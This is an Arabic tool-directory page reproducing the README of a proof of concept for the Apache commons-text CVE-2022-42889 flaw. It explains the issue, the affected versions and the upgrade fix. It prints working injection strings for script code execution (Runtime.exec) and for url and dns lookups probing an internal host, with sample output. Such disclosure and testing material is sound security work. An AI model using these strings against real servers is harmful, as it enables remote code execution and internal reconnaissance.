Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-42889-PoC — إثبات المفهوم لثغرة Apache commons-text CVE-2022-42889. | Kitploit
أدوات/GitHubGitHub/seanwrightsec/cve-2022-42889-poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليم
GitHubseanwrightsec/cve-2022-42889-poc

CVE-2022-42889-PoC

إثبات المفهوم لثغرة Apache commons-text CVE-2022-42889.

عرض المستودع
34172منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-42889 إثبات المفهوم (PoC)

هذا هو إثبات المفهوم (PoC) للثغرة CVE-2022-42889. سيقوم هذا الكود بتشغيل كود الجافاسكربت 195 + 324. إذا كانت البيئة معرّضة للثغرة، فيجب أن يكون الناتج:

root@kitploit:~
PoC Output: 519

لتشغيل هذا، ستحتاج إلى:

  • JDK 11 أو أحدث
  • Maven

عندما يُطلب منك إدخال سلسلة استغلال (exploit string)، يمكنك إما توفير سلسلة الاستغلال الخاصة بك (ثم اضغط Enter لإدخال السلسلة)، أو ببساطة اضغط Enter لاستخدام سلسلة الاستغلال الافتراضية ${script:javascript:195 + 324}.

Docker

بدلاً من ذلك، يمكنك استخدام Docker لتتمكن من تشغيل إثبات المفهوم هذا:

root@kitploit:~
docker build -t poc .
docker run -it poc

ما هي المشكلة؟

تنبع المشكلة من حقيقة أن المفاتيح التالية لا ينبغي استيفاؤها افتراضيًا (وفقًا للتوثيق https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):

  • script
  • dns
  • url

script

يسمح هذا البحث (lookup) بتنفيذ كود الجافاسكربت المقدَّم. النتيجة هي قدرة المهاجم على تشغيل أي كود تعسفي على النظام.

الصيغة

root@kitploit:~
${script:<engine>:<code>}

مثال

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}

مثال في الـ PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================

url

يقوم هذا البحث (lookup) باستدعاء عنوان URL المحدد. يمكن للمهاجم استغلال ذلك لإجراء طلبات GET أساسية إلى الموارد الداخلية.

الصيغة

root@kitploit:~
${url:<character-encoding>:<url>}

مثال

root@kitploit:~
${url:UTF-8::https://internal-jenkins.companyx.net/}

مثال في الـ PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================

dns

يقوم هذا البحث (lookup) بإجراء استعلام DNS، أو بحث عكسي (reverse lookup). يمكن أن يسمح ذلك للمهاجم بتحديد الموارد الداخلية.

الصيغة

root@kitploit:~
${dns:<address,canonical-name,name>|<host>}

مثال

root@kitploit:~
${dns:address|internal-jenkins.companyx.net}

مثال في الـ PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${dns:address|www.google.com}                                                         
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================

ومع ذلك، وبسبب خلل في المنطق، يتم استيفاء هذه المفاتيح الثلاثة افتراضيًا، في حين أنه لا ينبغي ذلك (نظرًا لأنها قد تمثل خطرًا أمنيًا).

ما هو الخطر؟

المهاجم الذي يتحكم في السلسلة التي تُمرَّر إلى عملية الاستبدال (replace) في StringSubstitutor المتأثر، يمكنه أن:

  • يشغّل كود جافاسكربت على النظام (عادةً خادم) الذي ينفّذ كود StringSubstitutor
  • يتصل بخوادم أخرى من النظام المتأثر
  • يحتمل أن يحصل على وصول إلى موارد بعيدة أخرى من النظام المتأثر

هل أنا معرّض للثغرة؟

لكي يكون كودك معرّضًا للثغرة، يجب أن:

  • تشغّل إصدارًا من Apache commons-text بدءًا من الإصدار 1.5.0 وحتى (وليس بما في ذلك) 1.10.0

  • تستخدم الاستيفاء (Interpolation) في استبدال السلاسل (StringSubstitution) لديك (انظر https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)

  • لاحظ أنه في JDK 15 وما بعده، لم يعد محرك الجافاسكربت Nashorn مضمنًا. ومع ذلك، لا يزال محرك JEXL مضمنًا، ونتيجة لذلك قد يظل تنفيذ التعليمات البرمجية عن بُعد (RCE) ممكنًا.

    (تحية لـ rgmz على تسليط الضوء على هذا)

الإصلاح الرسمي

لإصلاح هذا، قم بتحديث نسخ commons-text لديك إلى الإصدار 1.10.0 أو أحدث.

ملاحظة

قد تمثل عمليات البحث الافتراضية الأخرى أيضًا خطرًا أمنيًا محتملاً (مثل القدرة على قراءة محتوى الملفات، وقراءة خصائص النظام، وما إلى ذلك). استخدم هذه الميزة بحذر وتأكد من تعقيم جميع مدخلات المستخدم بشكل مناسب (على سبيل المثال عن طريق تمريرها عبر قائمة السماح).

تنزيل الأداة